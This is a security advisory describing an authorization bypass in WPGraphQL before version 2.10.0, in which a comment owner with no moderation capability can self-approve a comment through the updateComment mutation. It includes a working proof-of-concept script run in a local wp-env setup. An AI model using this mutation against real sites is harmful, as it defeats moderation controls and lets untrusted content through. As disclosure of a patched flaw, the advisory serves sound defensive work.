WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content.
Version 2.10.0 contains a patch.
### Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state.
### PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install
npm run wp-env start
2.
Run this PoC:
```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```
3. Observe result:
- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1
### Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted.
Moderation policy can be bypassed by self-approving content.
Attack Parameters
Impact Assessment
CVSS Vector v3.1